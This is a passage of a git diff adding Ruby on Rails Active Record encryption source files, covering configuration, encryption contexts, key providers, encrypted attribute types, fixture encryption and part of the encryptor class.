+          raise ActiveRecord::Encryption::Errors::Decryption
+        end
+
+        def inspect # :nodoc:
+          "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
+        end
+
+        private
+          def generate_iv(cipher, clear_text)
+            if @deterministic
+              generate_deterministic_iv(clear_text)
+            else
+              cipher.random_iv
+            end
+          end
+
+          def generate_deterministic_iv(clear_text)
+            OpenSSL::HMAC.digest(OpenSSL::Digest::SHA256.new, @secret, clear_text)[0, ActiveRecord::Encryption.cipher.iv_length]
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/config.rb b/activerecord/lib/active_record/encryption/config.rb
new file mode 100644
index 0000000000000..7bbf023f29ee6
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/config.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require "openssl"
+
+module ActiveRecord
+  module Encryption
+    # Container of configuration options
+    class Config
+      attr_accessor :primary_key, :deterministic_key, :store_key_references, :key_derivation_salt, :hash_digest_class,
+                    :support_unencrypted_data, :encrypt_fixtures, :validate_column_size, :add_to_filter_parameters,
+                    :excluded_from_filter_parameters, :extend_queries, :previous_schemes, :forced_encoding_for_deterministic_encryption,
+                    :compressor
+
+      def initialize
+        set_defaults
+      end
+
+      # Configure previous encryption schemes.
+      #
+      #   config.active_record.encryption.previous = [ { key_provider: MyOldKeyProvider.new } ]
+      def previous=(previous_schemes_properties)
+        previous_schemes_properties.each do |properties|
+          add_previous_scheme(**properties)
+        end
+      end
+
+      def support_sha1_for_non_deterministic_encryption=(value)
+        if value && has_primary_key?
+          sha1_key_generator = ActiveRecord::Encryption::KeyGenerator.new(hash_digest_class: OpenSSL::Digest::SHA1)
+          sha1_key_provider = ActiveRecord::Encryption::DerivedSecretKeyProvider.new(primary_key, key_generator: sha1_key_generator)
+          add_previous_scheme key_provider: sha1_key_provider
+        end
+      end
+
+      %w(key_derivation_salt primary_key deterministic_key).each do |key|
+        silence_redefinition_of_method "has_#{key}?"
+        define_method("has_#{key}?") do
+          instance_variable_get(:"@#{key}").presence
+        end
+
+        silence_redefinition_of_method key
+        define_method(key) do
+          public_send("has_#{key}?") or
+            raise Errors::Configuration, "Missing Active Record encryption credential: active_record_encryption.#{key}"
+        end
+      end
+
+      private
+        def set_defaults
+          self.store_key_references = false
+          self.support_unencrypted_data = false
+          self.encrypt_fixtures = false
+          self.validate_column_size = true
+          self.add_to_filter_parameters = true
+          self.excluded_from_filter_parameters = []
+          self.previous_schemes = []
+          self.forced_encoding_for_deterministic_encryption = Encoding::UTF_8
+          self.hash_digest_class = OpenSSL::Digest::SHA1
+          self.compressor = Zlib
+
+          # TODO: Setting to false for now as the implementation is a bit experimental
+          self.extend_queries = false
+        end
+
+        def add_previous_scheme(**properties)
+          previous_schemes << ActiveRecord::Encryption::Scheme.new(**properties)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/configurable.rb b/activerecord/lib/active_record/encryption/configurable.rb
new file mode 100644
index 0000000000000..472b12490db0d
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/configurable.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # Configuration API for ActiveRecord::Encryption
+    module Configurable
+      extend ActiveSupport::Concern
+
+      included do
+        mattr_reader :config, default: Config.new
+        mattr_accessor :encrypted_attribute_declaration_listeners
+      end
+
+      class_methods do
+        # Expose getters for context properties
+        Context::PROPERTIES.each do |name|
+          delegate name, to: :context
+        end
+
+        def configure(primary_key: nil, deterministic_key: nil, key_derivation_salt: nil, **properties) # :nodoc:
+          config.primary_key = primary_key
+          config.deterministic_key = deterministic_key
+          config.key_derivation_salt = key_derivation_salt
+
+          # Set the default for this property here instead of in +Config#set_defaults+ as this needs
+          # to happen *after* the keys have been set.
+          properties[:support_sha1_for_non_deterministic_encryption] = true if properties[:support_sha1_for_non_deterministic_encryption].nil?
+
+          properties.each do |name, value|
+            ActiveRecord::Encryption.config.send "#{name}=", value if ActiveRecord::Encryption.config.respond_to?("#{name}=")
+          end
+
+          ActiveRecord::Encryption.reset_default_context
+
+          properties.each do |name, value|
+            ActiveRecord::Encryption.context.send "#{name}=", value if ActiveRecord::Encryption.context.respond_to?("#{name}=")
+          end
+        end
+
+        # Register callback to be invoked when an encrypted attribute is declared.
+        #
+        # === Example
+        #
+        #   ActiveRecord::Encryption.on_encrypted_attribute_declared do |klass, attribute_name|
+        #     ...
+        #   end
+        def on_encrypted_attribute_declared(&block)
+          self.encrypted_attribute_declaration_listeners ||= Concurrent::Array.new
+          self.encrypted_attribute_declaration_listeners << block
+        end
+
+        def encrypted_attribute_was_declared(klass, name) # :nodoc:
+          self.encrypted_attribute_declaration_listeners&.each do |block|
+            block.call(klass, name)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/context.rb b/activerecord/lib/active_record/encryption/context.rb
new file mode 100644
index 0000000000000..4c57f4e1ab0d2
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/context.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # An encryption context configures the different entities used to perform encryption:
+    #
+    # * A key provider
+    # * A key generator
+    # * An encryptor, the facade to encrypt data
+    # * A cipher, the encryption algorithm
+    # * A message serializer
+    class Context
+      PROPERTIES = %i[ key_provider key_generator cipher message_serializer encryptor frozen_encryption ]
+
+      attr_accessor(*PROPERTIES)
+
+      def initialize
+        set_defaults
+      end
+
+      alias frozen_encryption? frozen_encryption
+
+      silence_redefinition_of_method :key_provider
+      def key_provider
+        @key_provider ||= build_default_key_provider
+      end
+
+      private
+        def set_defaults
+          self.frozen_encryption = false
+          self.key_generator = ActiveRecord::Encryption::KeyGenerator.new
+          self.cipher = ActiveRecord::Encryption::Cipher.new
+          self.encryptor = ActiveRecord::Encryption::Encryptor.new
+          self.message_serializer = ActiveRecord::Encryption::MessageSerializer.new
+        end
+
+        def build_default_key_provider
+          ActiveRecord::Encryption::DerivedSecretKeyProvider.new(ActiveRecord::Encryption.config.primary_key)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/contexts.rb b/activerecord/lib/active_record/encryption/contexts.rb
new file mode 100644
index 0000000000000..a55a1d407cc83
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/contexts.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # ActiveRecord::Encryption uses encryption contexts to configure the different entities used to
+    # encrypt/decrypt at a given moment in time.
+    #
+    # By default, the library uses a default encryption context. This is the Context that gets configured
+    # initially via +config.active_record.encryption+ options. Library users can define nested encryption contexts
+    # when running blocks of code.
+    #
+    # See Context.
+    module Contexts
+      extend ActiveSupport::Concern
+
+      included do
+        mattr_accessor :default_context, default: Context.new
+        thread_mattr_accessor :custom_contexts
+      end
+
+      class_methods do
+        # Configures a custom encryption context to use when running the provided block of code.
+        #
+        # It supports overriding all the properties defined in +Context+.
+        #
+        # Example:
+        #
+        #     ActiveRecord::Encryption.with_encryption_context(encryptor: ActiveRecord::Encryption::NullEncryptor.new) do
+        #       ...
+        #     end
+        #
+        # Encryption contexts can be nested.
+        def with_encryption_context(properties)
+          self.custom_contexts ||= []
+          self.custom_contexts << default_context.dup
+          properties.each do |key, value|
+            self.current_custom_context.send("#{key}=", value)
+          end
+
+          yield
+        ensure
+          self.custom_contexts.pop
+        end
+
+        # Runs the provided block in an encryption context where encryption is disabled:
+        #
+        # * Reading encrypted content will return its ciphertexts.
+        # * Writing encrypted content will write its clear text.
+        def without_encryption(&block)
+          with_encryption_context encryptor: ActiveRecord::Encryption::NullEncryptor.new, &block
+        end
+
+        # Runs the provided block in an encryption context where:
+        #
+        # * Reading encrypted content will return its ciphertext.
+        # * Writing encrypted content will fail.
+        def protecting_encrypted_data(&block)
+          with_encryption_context encryptor: ActiveRecord::Encryption::EncryptingOnlyEncryptor.new, frozen_encryption: true, &block
+        end
+
+        # Returns the current context. By default it will return the current context.
+        def context
+          self.current_custom_context || self.default_context
+        end
+
+        def current_custom_context
+          self.custom_contexts&.last
+        end
+
+        def reset_default_context
+          self.default_context = Context.new
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/derived_secret_key_provider.rb b/activerecord/lib/active_record/encryption/derived_secret_key_provider.rb
new file mode 100644
index 0000000000000..1582d409e87ff
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/derived_secret_key_provider.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # A KeyProvider that derives keys from passwords.
+    class DerivedSecretKeyProvider < KeyProvider
+      def initialize(passwords, key_generator: ActiveRecord::Encryption.key_generator)
+        super(Array(passwords).collect { |password| derive_key_from(password, using: key_generator) })
+      end
+
+      private
+        def derive_key_from(password, using: key_generator)
+          secret = using.derive_key_from(password)
+          ActiveRecord::Encryption::Key.new(secret)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/deterministic_key_provider.rb b/activerecord/lib/active_record/encryption/deterministic_key_provider.rb
new file mode 100644
index 0000000000000..70eb1fea403b9
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/deterministic_key_provider.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # A KeyProvider that derives keys from passwords.
+    class DeterministicKeyProvider < DerivedSecretKeyProvider
+      def initialize(password)
+        passwords = Array(password)
+        raise ActiveRecord::Encryption::Errors::Configuration, "Deterministic encryption keys can't be rotated" if passwords.length > 1
+        super(passwords)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/encryptable_record.rb b/activerecord/lib/active_record/encryption/encryptable_record.rb
new file mode 100644
index 0000000000000..2afa6a09307b0
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/encryptable_record.rb
@@ -0,0 +1,230 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # This is the concern mixed in Active Record models to make them encryptable. It adds the +encrypts+
+    # attribute declaration, as well as the API to encrypt and decrypt records.
+    module EncryptableRecord
+      extend ActiveSupport::Concern
+
+      included do
+        class_attribute :encrypted_attributes
+
+        validate :cant_modify_encrypted_attributes_when_frozen, if: -> { has_encrypted_attributes? && ActiveRecord::Encryption.context.frozen_encryption? }
+      end
+
+      class_methods do
+        # Encrypts the +name+ attribute.
+        #
+        # ==== Options
+        #
+        # * <tt>:key_provider</tt> - A key provider to provide encryption and decryption keys. Defaults to
+        #   +ActiveRecord::Encryption.key_provider+.
+        # * <tt>:key</tt> - A password to derive the key from. It's a shorthand for a +:key_provider+ that
+        #   serves derivated keys. Both options can't be used at the same time.
+        # * <tt>:deterministic</tt> - By default, encryption is not deterministic. It will use a random
+        #   initialization vector for each encryption operation. This means that encrypting the same content
+        #   with the same key twice will generate different ciphertexts. When set to +true+, it will generate the
+        #   initialization vector based on the encrypted content. This means that the same content will generate
+        #   the same ciphertexts. This enables querying encrypted text with Active Record. Deterministic encryption
+        #   will use the oldest encryption scheme to encrypt new data by default. You can change this by setting
+        #   <tt>deterministic: { fixed: false }</tt>. That will make it use the newest encryption scheme for encrypting new
+        #   data.
+        # * <tt>:support_unencrypted_data</tt> - When true, unencrypted data can be read normally. When false, it will raise errors.
+        #   Falls back to +config.active_record.encryption.support_unencrypted_data+ if no value is provided.
+        #   This is useful for scenarios where you encrypt one column, and want to disable support for unencrypted data
+        #   without having to tweak the global setting.
+        # * <tt>:downcase</tt> - When true, it converts the encrypted content to downcase automatically. This allows to
+        #   effectively ignore case when querying data. Notice that the case is lost. Use +:ignore_case+ if you are interested
+        #   in preserving it.
+        # * <tt>:ignore_case</tt> - When true, it behaves like +:downcase+ but, it also preserves the original case in a specially
+        #   designated column +original_<name>+. When reading the encrypted content, the version with the original case is
+        #   served. But you can still execute queries that will ignore the case. This option can only be used when +:deterministic+
+        #   is true.
+        # * <tt>:context_properties</tt> - Additional properties that will override +Context+ settings when this attribute is
+        #   encrypted and decrypted. E.g: +encryptor:+, +cipher:+, +message_serializer:+, etc.
+        # * <tt>:previous</tt> - List of previous encryption schemes. When provided, they will be used in order when trying to read
+        #   the attribute. Each entry of the list can contain the properties supported by #encrypts. Also, when deterministic
+        #   encryption is used, they will be used to generate additional ciphertexts to check in the queries.
+        def encrypts(*names, key_provider: nil, key: nil, deterministic: false, support_unencrypted_data: nil, downcase: false, ignore_case: false, previous: [], compress: true, compressor: nil, **context_properties)
+          self.encrypted_attributes ||= Set.new # not using :default because the instance would be shared across classes
+
+          names.each do |name|
+            encrypt_attribute name, key_provider: key_provider, key: key, deterministic: deterministic, support_unencrypted_data: support_unencrypted_data, downcase: downcase, ignore_case: ignore_case, previous: previous, compress: compress, compressor: compressor, **context_properties
+          end
+        end
+
+        # Returns the list of deterministic encryptable attributes in the model class.
+        def deterministic_encrypted_attributes
+          @deterministic_encrypted_attributes ||= encrypted_attributes&.find_all do |attribute_name|
+            type_for_attribute(attribute_name).deterministic?
+          end
+        end
+
+        # Given a attribute name, it returns the name of the source attribute when it's a preserved one.
+        def source_attribute_from_preserved_attribute(attribute_name)
+          attribute_name.to_s.sub(ORIGINAL_ATTRIBUTE_PREFIX, "") if attribute_name.start_with?(ORIGINAL_ATTRIBUTE_PREFIX)
+        end
+
+        private
+          def scheme_for(key_provider: nil, key: nil, deterministic: false, support_unencrypted_data: nil, downcase: false, ignore_case: false, previous: [], **context_properties)
+            ActiveRecord::Encryption::Scheme.new(key_provider: key_provider, key: key, deterministic: deterministic,
+              support_unencrypted_data: support_unencrypted_data, downcase: downcase, ignore_case: ignore_case, **context_properties).tap do |scheme|
+              scheme.previous_schemes = global_previous_schemes_for(scheme) +
+              Array.wrap(previous).collect { |scheme_config| ActiveRecord::Encryption::Scheme.new(**scheme_config) }
+            end
+          end
+
+          def global_previous_schemes_for(scheme)
+            ActiveRecord::Encryption.config.previous_schemes.filter_map do |previous_scheme|
+              scheme.merge(previous_scheme) if scheme.compatible_with?(previous_scheme)
+            end
+          end
+
+          def encrypt_attribute(name, key_provider: nil, key: nil, deterministic: false, support_unencrypted_data: nil, downcase: false, ignore_case: false, previous: [], compress: true, compressor: nil, **context_properties)
+            encrypted_attributes << name.to_sym
+
+            decorate_attributes([name]) do |name, cast_type|
+              scheme = scheme_for key_provider: key_provider, key: key, deterministic: deterministic, support_unencrypted_data: support_unencrypted_data, \
+                downcase: downcase, ignore_case: ignore_case, previous: previous, compress: compress, compressor: compressor, **context_properties
+
+              ActiveRecord::Encryption::EncryptedAttributeType.new(scheme: scheme, cast_type: cast_type, default: columns_hash[name.to_s]&.default)
+            end
+
+            preserve_original_encrypted(name) if ignore_case
+            ActiveRecord::Encryption.encrypted_attribute_was_declared(self, name)
+          end
+
+          def preserve_original_encrypted(name)
+            original_attribute_name = "#{ORIGINAL_ATTRIBUTE_PREFIX}#{name}".to_sym
+
+            if !ActiveRecord::Encryption.config.support_unencrypted_data && !column_names.include?(original_attribute_name.to_s)
+              raise Errors::Configuration, "To use :ignore_case for '#{name}' you must create an additional column named '#{original_attribute_name}'"
+            end
+
+            encrypts original_attribute_name
+            override_accessors_to_preserve_original name, original_attribute_name
+          end
+
+          def override_accessors_to_preserve_original(name, original_attribute_name)
+            include(Module.new do
+              define_method name do
+                if ((value = super()) && encrypted_attribute?(name)) || !ActiveRecord::Encryption.config.support_unencrypted_data
+                  send(original_attribute_name)
+                else
+                  value
+                end
+              end
+
+              define_method "#{name}=" do |value|
+                self.send "#{original_attribute_name}=", value
+                super(value)
+              end
+            end)
+          end
+
+          def load_schema! # :nodoc:
+            super
+
+            add_length_validation_for_encrypted_columns if ActiveRecord::Encryption.config.validate_column_size
+          end
+
+          def add_length_validation_for_encrypted_columns
+            encrypted_attributes&.each do |attribute_name|
+              validate_column_size attribute_name
+            end
+          end
+
+          def validate_column_size(attribute_name)
+            if limit = columns_hash[attribute_name.to_s]&.limit
+              validates_length_of attribute_name, maximum: limit
+            end
+          end
+      end
+
+      # Returns whether a given attribute is encrypted or not.
+      def encrypted_attribute?(attribute_name)
+        name = attribute_name.to_s
+        name = self.class.attribute_aliases[name] || name
+
+        return false unless self.class.encrypted_attributes&.include? name.to_sym
+
+        type = type_for_attribute(name)
+        type.encrypted? read_attribute_before_type_cast(name)
+      end
+
+      # Returns the ciphertext for +attribute_name+.
+      def ciphertext_for(attribute_name)
+        if encrypted_attribute?(attribute_name)
+          read_attribute_before_type_cast(attribute_name)
+        else
+          read_attribute_for_database(attribute_name)
+        end
+      end
+
+      # Encrypts all the encryptable attributes and saves the changes.
+      def encrypt
+        encrypt_attributes if has_encrypted_attributes?
+      end
+
+      # Decrypts all the encryptable attributes and saves the changes.
+      def decrypt
+        decrypt_attributes if has_encrypted_attributes?
+      end
+
+      private
+        ORIGINAL_ATTRIBUTE_PREFIX = "original_"
+
+        def _create_record(attribute_names = self.attribute_names)
+          if has_encrypted_attributes?
+            # Always persist encrypted attributes, because an attribute might be
+            # encrypting a column default value.
+            attribute_names |= self.class.encrypted_attributes.map(&:to_s)
+          end
+          super
+        end
+
+        def encrypt_attributes
+          validate_encryption_allowed
+
+          update_columns build_encrypt_attribute_assignments
+        end
+
+        def decrypt_attributes
+          validate_encryption_allowed
+
+          decrypt_attribute_assignments = build_decrypt_attribute_assignments
+          ActiveRecord::Encryption.without_encryption { update_columns decrypt_attribute_assignments }
+        end
+
+        def validate_encryption_allowed
+          raise ActiveRecord::Encryption::Errors::Configuration, "can't be modified because it is encrypted" if ActiveRecord::Encryption.context.frozen_encryption?
+        end
+
+        def has_encrypted_attributes?
+          self.class.encrypted_attributes.present?
+        end
+
+        def build_encrypt_attribute_assignments
+          Array(self.class.encrypted_attributes).index_with do |attribute_name|
+            self[attribute_name]
+          end
+        end
+
+        def build_decrypt_attribute_assignments
+          Array(self.class.encrypted_attributes).to_h do |attribute_name|
+            type = type_for_attribute(attribute_name)
+            encrypted_value = ciphertext_for(attribute_name)
+            new_value = type.deserialize(encrypted_value)
+            [attribute_name, new_value]
+          end
+        end
+
+        def cant_modify_encrypted_attributes_when_frozen
+          self.class.encrypted_attributes.each do |attribute|
+            errors.add(attribute.to_sym, "can't be modified because it is encrypted") if changed_attributes.include?(attribute)
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/encrypted_attribute_type.rb b/activerecord/lib/active_record/encryption/encrypted_attribute_type.rb
new file mode 100644
index 0000000000000..7a58ffed12d0f
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/encrypted_attribute_type.rb
@@ -0,0 +1,184 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # An ActiveModel::Type::Value that encrypts/decrypts strings of text.
+    #
+    # This is the central piece that connects the encryption system with +encrypts+ declarations in the
+    # model classes. Whenever you declare an attribute as encrypted, it configures an +EncryptedAttributeType+
+    # for that attribute.
+    class EncryptedAttributeType < ::ActiveModel::Type::Value
+      include ActiveModel::Type::Helpers::Mutable
+
+      attr_reader :scheme, :cast_type
+
+      delegate :key_provider, :downcase?, :deterministic?, :previous_schemes, :with_context, :fixed?, to: :scheme
+      delegate :accessor, :type, to: :cast_type
+
+      # ==== Options
+      #
+      # * <tt>:scheme</tt> - A +Scheme+ with the encryption properties for this attribute.
+      # * <tt>:cast_type</tt> - A type that will be used to serialize (before encrypting) and deserialize
+      #   (after decrypting). ActiveModel::Type::String by default.
+      def initialize(scheme:, cast_type: ActiveModel::Type::String.new, previous_type: false, default: nil)
+        super()
+        @scheme = scheme
+        @cast_type = cast_type
+        @previous_type = previous_type
+        @default = default
+      end
+
+      def cast(value)
+        cast_type.cast(value)
+      end
+
+      def deserialize(value)
+        cast_type.deserialize decrypt(value)
+      end
+
+      def serialize(value)
+        if serialize_with_oldest?
+          serialize_with_oldest(value)
+        else
+          serialize_with_current(value)
+        end
+      end
+
+      def encrypted?(value)
+        with_context { encryptor.encrypted? value }
+      end
+
+      def changed_in_place?(raw_old_value, new_value)
+        old_value = raw_old_value.nil? ? nil : deserialize(raw_old_value)
+        old_value != new_value
+      end
+
+      def previous_types # :nodoc:
+        @previous_types ||= {} # Memoizing on support_unencrypted_data so that we can tweak it during tests
+        @previous_types[support_unencrypted_data?] ||= build_previous_types_for(previous_schemes_including_clean_text)
+      end
+
+      def support_unencrypted_data?
+        scheme.support_unencrypted_data? && !previous_type?
+      end
+
+      private
+        def previous_schemes_including_clean_text
+          previous_schemes.including((clean_text_scheme if support_unencrypted_data?)).compact
+        end
+
+        def previous_types_without_clean_text
+          @previous_types_without_clean_text ||= build_previous_types_for(previous_schemes)
+        end
+
+        def build_previous_types_for(schemes)
+          schemes.collect do |scheme|
+            EncryptedAttributeType.new(scheme: scheme, previous_type: true)
+          end
+        end
+
+        def previous_type?
+          @previous_type
+        end
+
+        def decrypt_as_text(value)
+          with_context do
+            unless value.nil?
+              if @default && @default == value
+                value
+              else
+                encryptor.decrypt(value, **decryption_options)
+              end
+            end
+          end
+        rescue ActiveRecord::Encryption::Errors::Base => error
+          if previous_types_without_clean_text.blank?
+            handle_deserialize_error(error, value)
+          else
+            try_to_deserialize_with_previous_encrypted_types(value)
+          end
+        end
+
+        def decrypt(value)
+          text_to_database_type decrypt_as_text(database_type_to_text(value))
+        end
+
+        def try_to_deserialize_with_previous_encrypted_types(value)
+          previous_types.each.with_index do |type, index|
+            break type.deserialize(value)
+          rescue ActiveRecord::Encryption::Errors::Base => error
+            handle_deserialize_error(error, value) if index == previous_types.length - 1
+          end
+        end
+
+        def handle_deserialize_error(error, value)
+          if error.is_a?(Errors::Decryption) && support_unencrypted_data?
+            value
+          else
+            raise error
+          end
+        end
+
+        def serialize_with_oldest?
+          @serialize_with_oldest ||= fixed? && previous_types_without_clean_text.present?
+        end
+
+        def serialize_with_oldest(value)
+          previous_types.first.serialize(value)
+        end
+
+        def serialize_with_current(value)
+          casted_value = cast_type.serialize(value)
+          casted_value = casted_value&.downcase if downcase?
+          encrypt(casted_value.to_s) unless casted_value.nil?
+        end
+
+        def encrypt_as_text(value)
+          with_context do
+            if encryptor.binary? && !cast_type.binary?
+              raise Errors::Encoding, "Binary encoded data can only be stored in binary columns"
+            end
+
+            encryptor.encrypt(value, **encryption_options)
+          end
+        end
+
+        def encrypt(value)
+          text_to_database_type encrypt_as_text(value)
+        end
+
+        def encryptor
+          ActiveRecord::Encryption.encryptor
+        end
+
+        def encryption_options
+          { key_provider: key_provider, cipher_options: { deterministic: deterministic? } }.compact
+        end
+
+        def decryption_options
+          { key_provider: key_provider }.compact
+        end
+
+        def clean_text_scheme
+          @clean_text_scheme ||= ActiveRecord::Encryption::Scheme.new(downcase: downcase?, encryptor: ActiveRecord::Encryption::NullEncryptor.new)
+        end
+
+        def text_to_database_type(value)
+          if value && cast_type.binary?
+            ActiveModel::Type::Binary::Data.new(value)
+          else
+            value
+          end
+        end
+
+        def database_type_to_text(value)
+          if value && cast_type.binary?
+            binary_cast_type = cast_type.serialized? ? cast_type.subtype : cast_type
+            binary_cast_type.deserialize(value)
+          else
+            value
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/encrypted_fixtures.rb b/activerecord/lib/active_record/encryption/encrypted_fixtures.rb
new file mode 100644
index 0000000000000..a64dd42754c03
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/encrypted_fixtures.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    module EncryptedFixtures
+      def initialize(fixture, model_class)
+        @clean_values = {}
+        encrypt_fixture_data(fixture, model_class)
+        process_preserved_original_columns(fixture, model_class)
+        super
+      end
+
+      private
+        def encrypt_fixture_data(fixture, model_class)
+          model_class&.encrypted_attributes&.each do |attribute_name|
+            if clean_value = fixture[attribute_name.to_s]
+              @clean_values[attribute_name.to_s] = clean_value
+
+              type = model_class.type_for_attribute(attribute_name)
+              encrypted_value = type.serialize(clean_value)
+              fixture[attribute_name.to_s] = encrypted_value
+            end
+          end
+        end
+
+        def process_preserved_original_columns(fixture, model_class)
+          model_class&.encrypted_attributes&.each do |attribute_name|
+            if source_attribute_name = model_class.source_attribute_from_preserved_attribute(attribute_name)
+              clean_value = @clean_values[source_attribute_name.to_s]
+              type = model_class.type_for_attribute(attribute_name)
+              encrypted_value = type.serialize(clean_value)
+              fixture[attribute_name.to_s] = encrypted_value
+            end
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/encrypting_only_encryptor.rb b/activerecord/lib/active_record/encryption/encrypting_only_encryptor.rb
new file mode 100644
index 0000000000000..dc0c53a48d379
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/encrypting_only_encryptor.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # An encryptor that can encrypt data but can't decrypt it.
+    class EncryptingOnlyEncryptor < Encryptor
+      def decrypt(encrypted_text, key_provider: nil, cipher_options: {})
+        encrypted_text
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/encryptor.rb b/activerecord/lib/active_record/encryption/encryptor.rb
new file mode 100644
index 0000000000000..dbc20caccb323
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/encryptor.rb
@@ -0,0 +1,191 @@
+# frozen_string_literal: true
+
+require "openssl"
+require "active_support/core_ext/numeric"
+
+module ActiveRecord
+  module Encryption
+    # An encryptor exposes the encryption API that ActiveRecord::Encryption::EncryptedAttributeType
+    # uses for encrypting and decrypting attribute values.
+    #
+    # It interacts with a KeyProvider for getting the keys, and delegate to
+    # ActiveRecord::Encryption::Cipher the actual encryption algorithm.
+    class Encryptor
+      # The compressor to use for compressing the payload.
+      attr_reader :compressor
+
+      # ==== Options
+      #
+      # [+:compress+]
+      #   Boolean indicating whether records should be compressed before
+      #   encryption. Defaults to +true+.
+      #
+      # [+:compressor+]
+      #   The compressor to use. It must respond to +deflate+ and +inflate+.
+      #   If not provided, will default to +ActiveRecord::Encryption.config.compressor+,
+      #   which itself defaults to +Zlib+.
+      def initialize(compress: true, compressor: nil)
+        @compress = compress
+        @compressor = compressor || ActiveRecord::Encryption.config.compressor
+      end
+
+      # Encrypts +clean_text+ and returns the encrypted result.
+      #
+      # Internally, it will:
+      #
+      # 1. Create a new ActiveRecord::Encryption::Message.
+      # 2. Compress and encrypt +clean_text+ as the message payload.
+      # 3. Serialize it with +ActiveRecord::Encryption.message_serializer+
+      #    (+ActiveRecord::Encryption::SafeMarshal+ by default).
+      # 4. Encode the result with Base64.
+      #
+      # ==== Options
+      #
+      # [+:key_provider+]
+      #   Key provider to use for the encryption operation. It will default to
+      #   +ActiveRecord::Encryption.key_provider+ when not provided.
+      #
+      # [+:cipher_options+]
+      #   Cipher-specific options that will be passed to the Cipher configured in
+      #   +ActiveRecord::Encryption.cipher+.
+      def encrypt(clear_text, key_provider: default_key_provider, cipher_options: {})
+        clear_text = force_encoding_if_needed(clear_text) if cipher_options[:deterministic]
+
+        validate_payload_type(clear_text)
+        serialize_message build_encrypted_message(clear_text, key_provider: key_provider, cipher_options: cipher_options)
+      end
+
+      # Decrypts an +encrypted_text+ and returns the result as clean text.
+      #
+      # ==== Options
+      #
+      # [+:key_provider+]
+      #   Key provider to use for the encryption operation. It will default to
+      #   +ActiveRecord::Encryption.key_provider+ when not provided.
+      #
+      # [+:cipher_options+]
+      #   Cipher-specific options that will be passed to the Cipher configured in
+      #   +ActiveRecord::Encryption.cipher+.
+      def decrypt(encrypted_text, key_provider: default_key_provider, cipher_options: {})
+        message = deserialize_message(encrypted_text)
+        keys = key_provider.decryption_keys(message)
+        raise Errors::Decryption unless keys.present?
+        uncompress_if_needed(cipher.decrypt(message, key: keys.collect(&:secret), **cipher_options), message.headers.compressed)
+      rescue *(ENCODING_ERRORS + DECRYPT_ERRORS)
+        raise Errors::Decryption
+      end
+
+      # Returns whether the text is encrypted or not.
+      def encrypted?(text)
+        deserialize_message(text)
+        true
+      rescue Errors::Encoding, *DECRYPT_ERRORS
+        false
+      end
+
+      def binary?
+        serializer.binary?
+      end
+
+      def compress? # :nodoc:
+        @compress
+      end
+
+      private
+        DECRYPT_ERRORS = [OpenSSL::Cipher::CipherError, Errors::EncryptedContentIntegrity, Errors::Decryption]
+        ENCODING_ERRORS = [EncodingError, Errors::Encoding]
+
+        # This threshold cannot be changed.
+        #
+        # Users can search for attributes encrypted with `deterministic: true`.
+        # That is possible because we are able to generate the message for the
+        # given clear text deterministically, and with that perform a regular
+        # string lookup in SQL.
+        #
+        # Problem is, messages may have a "c" header that is present or not
+        # depending on whether compression was applied on encryption. If this
+        # threshold was modified, the message generated for lookup could vary
+        # for the same clear text, and searches on existing data could fail.
+        THRESHOLD_TO_JUSTIFY_COMPRESSION = 140.bytes
+
+        def default_key_provider
+          ActiveRecord::Encryption.key_provider
+        end
+
+        def validate_payload_type(clear_text)
+          unless clear_text.is_a?(String)
+            raise ActiveRecord::Encryption::Errors::ForbiddenClass, "The encryptor can only encrypt string values (#{clear_text.class})"
+          end
+        end
+
+        def cipher
+          ActiveRecord::Encryption.cipher
+        end
+
+        def build_encrypted_message(clear_text, key_provider:, cipher_options:)
+          key = key_provider.encryption_key
+
+          clear_text, was_compressed = compress_if_worth_it(clear_text)
+          cipher.encrypt(clear_text, key: key.secret, **cipher_options).tap do |message|
+            message.headers.add(key.public_tags)
+            message.headers.compressed = true if was_compressed
+          end
+        end
+
+        def serialize_message(message)
+          serializer.dump(message)
+        end
+
+        def deserialize_message(message)
+          serializer.load message
+        rescue ArgumentError, TypeError, Errors::ForbiddenClass
+          raise Errors::Encoding
+        end
+
+        def serializer
+          ActiveRecord::Encryption.message_serializer
+        end
+
